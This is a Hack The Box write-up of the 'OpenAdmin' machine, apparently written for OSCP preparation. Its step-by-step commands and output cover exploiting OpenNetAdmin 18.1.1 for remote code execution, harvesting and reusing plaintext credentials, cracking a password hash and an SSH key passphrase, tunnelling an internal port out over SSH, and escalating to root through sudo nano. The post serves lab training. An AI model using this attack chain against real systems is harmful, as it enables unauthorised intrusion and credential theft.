Path to OSCP: OpenAdmin

As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.

After a short holiday it’s back to OSCP prep. Should have a fairly uninterrupted run now until end of year, so eyeing an attempt at the OSCP exam just before Christmas.

Next up on the NetSecFocus list is OpenAdmin. We crack on with the usual nmap scan:

u01@nostromo:~$ mkdir HTB/openadmin && sudo nmap -p- -A openadmin.htb -oA HTB/openadmin/openadmin
Starting Nmap 7.94 ( ) at 2023-09-03 19:23 IST
Nmap scan report for openadmin.htb (
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8080/tcp)
1 35.81 ms
2 35.97 ms openadmin.htb (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 49.87 seconds

Investigating port 80, we see a default Apache2 welcome page:

I kick off gobuster with the usual directory list:

u01@nostromo:~$ gobuster dir -u http://openadmin.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://openadmin.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/music (Status: 301) [Size: 314] [--> http://openadmin.htb/music/]
/artwork (Status: 301) [Size: 316] [--> http://openadmin.htb/artwork/]
/sierra (Status: 301) [Size: 315] [--> http://openadmin.htb/sierra/]
/server-status (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)

This reveals a site at http://openadmin.htb/music/http://openadmin.htb/artwork/ and http://openadmin.htb/sierra

I kick off a gobuster scan for each of these sites while doing some manual enumeration.

Looking at /music first, the page title states “Music | NOT LIVE/NOT FOR PRODUCTION USE”. I check the Login link and it brings me to http://openadmin.htb/ona/, an instance of OpenNetAdmin, logged in as Guest.

This looks like the correct entry point, so I cancel the gobuster scans. Searchsploit shows an RCE for this version of OpenNetAdmin, 18.1.1:

u01@nostromo:~$ searchsploit opennetadmin 18.1.1
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------

I’ve been preferring GitHub as my first port of call for exploits and POCs recently, I find they’re commonly more up-to-date, documented, and bug free compared to Searchsploit. So I take a look to see what’s available for this vulnerability on GitHub, and come across amriunix/ona-rce: OpenNetAdmin 18.1.1 – Remote Code Execution (

I download the script, point it towards the ONA page and we have a shell as www-data straight away:

u01@nostromo:~/HTB/openadmin/ona-rce$ python exploit http://openadmin.htb/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I upload LinPEAS to kick off enumeration, but have a lot of trouble viewing output in the unstable shell, so I output the content to a file with ./ -a > linpeas.txt and move it to http://openadmin.htb/ona/images/ where I can retrieve it from my host. The interesting parts are:

╔══════════╣ Operative system
Linux version 4.15.0-70-generic (buildd@lgw01-amd64-055) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019
Distributor ID: Ubuntu
Description: Ubuntu 18.04.3 LTS
Release: 18.04
Codename: bionic

╔══════════╣ Sudo version
Sudo version 1.9.7p1

╔══════════╣ Last time logon each user
Username Port From Latest 
root tty1 Tue Aug 17 13:06:49 +0000 2021
jimmy pts/1 Thu Jan 2 20:50:03 +0000 2020
joanna pts/0 Tue Jul 27 06:12:07 +0000 2021

╔══════════╣ MySQL version
mysql Ver 14.14 Distrib 5.7.28, for Linux (x86_64) using EditLine wrapper

═╣ MySQL connection using default root/root ........... No
═╣ MySQL connection using root/toor ................... No 
═╣ MySQL connection using root/NOPASS ................. No 

╔══════════╣ Searching mysql credentials and exec
From '/etc/mysql/mysql.conf.d/mysqld.cnf' Mysql user: user = mysql 
Found readable /etc/mysql/my.cnf
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mysql.conf.d/

╔══════════╣ Analyzing MariaDB Files (limit 70)

-rw------- 1 root root 317 Nov 21 2019 /etc/mysql/debian.cnf

══╣ Some home ssh config file was found

However, none of these seem to give us what we need to advance. After some further digging I come across the ‘local’ directory, which has a config folder containing

sh$ ls -la local/
total 20
drwxrwxr-x 5 www-data www-data 4096 Jan 3 2018 .
drwxrwxr-x 10 www-data www-data 4096 Nov 22 2019 ..
drwxrwxr-x 2 www-data www-data 4096 Nov 21 2019 config
drwxrwxr-x 3 www-data www-data 4096 Jan 3 2018 nmap_scans
drwxrwxr-x 2 www-data www-data 4096 Jan 3 2018 plugins
sh$ ls -la local/config/
total 16
drwxrwxr-x 2 www-data www-data 4096 Nov 21 2019 .
drwxrwxr-x 5 www-data www-data 4096 Jan 3 2018 ..
-rw-r--r-- 1 www-data www-data 426 Nov 21 2019
-rw-rw-r-- 1 www-data www-data 1201 Jan 3 2018 motd.txt.example
-rw-r--r-- 1 www-data www-data 0 Nov 21 2019 run_installer

This contains credentials for an ona_sys account. I try this for password reuse via SSH, first with the ona_sys account, and then for the other usernames enumerated, and get a connection with jimmy:n1nj4W4rri0R!

sh$ cat local/config/

$ona_contexts=array (
array (
'databases' => 
array (
0 => 
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
'description' => 'Default data context',
'context_color' => '#D3DBFF',


We kick off LinPEAS under the context of jimmy:

╔══════════╣ Active Ports
tcp 0 0* LISTEN - 
tcp 0 0* LISTEN - 
tcp 0 0* LISTEN - 
tcp 0 0* LISTEN - 
tcp6 0 0 :::80 :::* LISTEN - 
tcp6 0 0 :::22 :::* LISTEN -

╔══════════╣ Analyzing Other Interesting Files Files (limit 70)
-rw-r--r-- 1 root root 3771 Apr 4 2018 /etc/skel/.bashrc 
-rw-r--r-- 1 jimmy jimmy 3771 Apr 4 2018 /home/jimmy/.bashrc
-rw-r--r-- 1 root root 3771 Aug 31 2015 /snap/core/7270/etc/skel/.bashrc
-rw-r--r-- 1 root root 3771 Aug 31 2015 /snap/core/8039/etc/skel/.bashrc

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)


/internal looks interesting; jimmy is owner so we won’t have had access to this folder before, which ties in with a CTF-style progression:

jimmy@openadmin:~$ ls -l /var/www/internal -d
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 /var/www/internal
jimmy@openadmin:~$ ls -l /var/www/internal
total 12
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 2019 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.php


Looking at the source of index.php, the title is “”, and more interestingly, seems to have a hardcoded login hash for jimmy:

if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';

Logout.php doesn’t contain anything of interest, but main.php does:

jimmy@openadmin:/var/www/internal$ cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

If this is a site running internally on the host, it needs to be listening on an internal port for connections. We would have seen an additional port listening in the linpeas output, but to confirm we run netstat:

jimmy@openadmin:/var/www/internal$ netstat -tln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 0* LISTEN 
tcp 0 0* LISTEN 
tcp 0 0* LISTEN 
tcp 0 0* LISTEN 
tcp6 0 0 :::80 :::* LISTEN 
tcp6 0 0 :::22 :::* LISTEN

We try curl against localhost:52846, and we get a match for “”, confirming that it’s very likely the internal directory we viewed earlier is the source for this listening port:

jimmy@openadmin:/var/www/internal$ curl localhost:52846

// error_reporting(E_ALL);
// ini_set("display_errors", 1);

<html lang = "en">

<link href = "css/bootstrap.min.css" rel = "stylesheet">


In order to access this internal page, we’ll need to use remote port forwarding. The following command allows us to access the internal port 52846 through an SSH tunnel:

jimmy@openadmin:/var/www/internal$ ssh -R 9999:localhost:52846 u01@ -p 2222
u01@'s password:

Port 9999 is the port we are offering the connection on. Port 2222 was specified as the listening SSH port on our Kali machine, as SSH on port 22 is blocked across the HTB VPN tunnel. The port can be configured in the /etc/ssh/sshd_config file, and then the sshd.service service restarted for the change to take effect.

Once the port forwarding is established, we can access the internal login page on the specified port:

We have a username jimmy and hash from the file we found previously in /var/www/internal/index.php file. Entering the hash into CrackStation gives us the password “Revealed”. On entering these credentials, we’re presented with a RSA Private Key and a clue “Don’t forget your “ninja” password”.

The private key is password protected, so we take a hash of the key and crack it with John using rockyou.txt wordlist to reveal “bloodninjas” as the password:

u01@nostromo:~/HTB/openadmin$ john privkey > privkeyhash
u01@nostromo:~/HTB/openadmin$ john --wordlist=/usr/share/wordlists/rockyou.txt privkeyhash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (privkey) 
1g 0:00:00:06 DONE (2023-09-14 10:47) 0.1545g/s 1479Kp/s 1479Kc/s 1479KC/s bloodofyouth..bloodmore23
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
o:~/HTB/openadmin$ ssh2john privkey > privkeyhash

This allows us to SSH into the box as joanna specifying the private key and key password, obtaining the user.txt flag:

u01@nostromo:~/HTB/openadmin$ ssh -i privkey joanna@openadmin.htb
Enter passphrase for key 'privkey': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

* Documentation:
* Management:
* Support:

System information as of Thu Sep 14 09:51:18 UTC 2023

System load: 0.0 Processes: 166
Usage of /: 30.9% of 7.81GB Users logged in: 0
Memory usage: 8% IP address for ens160:
Swap usage: 0%

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:

39 packages can be updated.
11 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Last login: Tue Jul 27 06:12:07 2021 from
joanna@openadmin:~$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
joanna@openadmin:~$ cat user.txt 

Checking sudo -l, joanna can run /bin/nano on the file /opt/priv as root with no password required:

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv

GTFOBins has a suggestion for dropping to a root shell with such sudo privileges to nano:

We modify this slightly to target the file we’re allowed run as root against:

sudo /bin/nano /opt/priv

CTRL + R followed by CTRL + X gives us a “Command to execute:” prompt, and entering the line from GTFOBins gives us root shell and access to root.txt:

Leave a Reply

Your email address will not be published. Required fields are marked *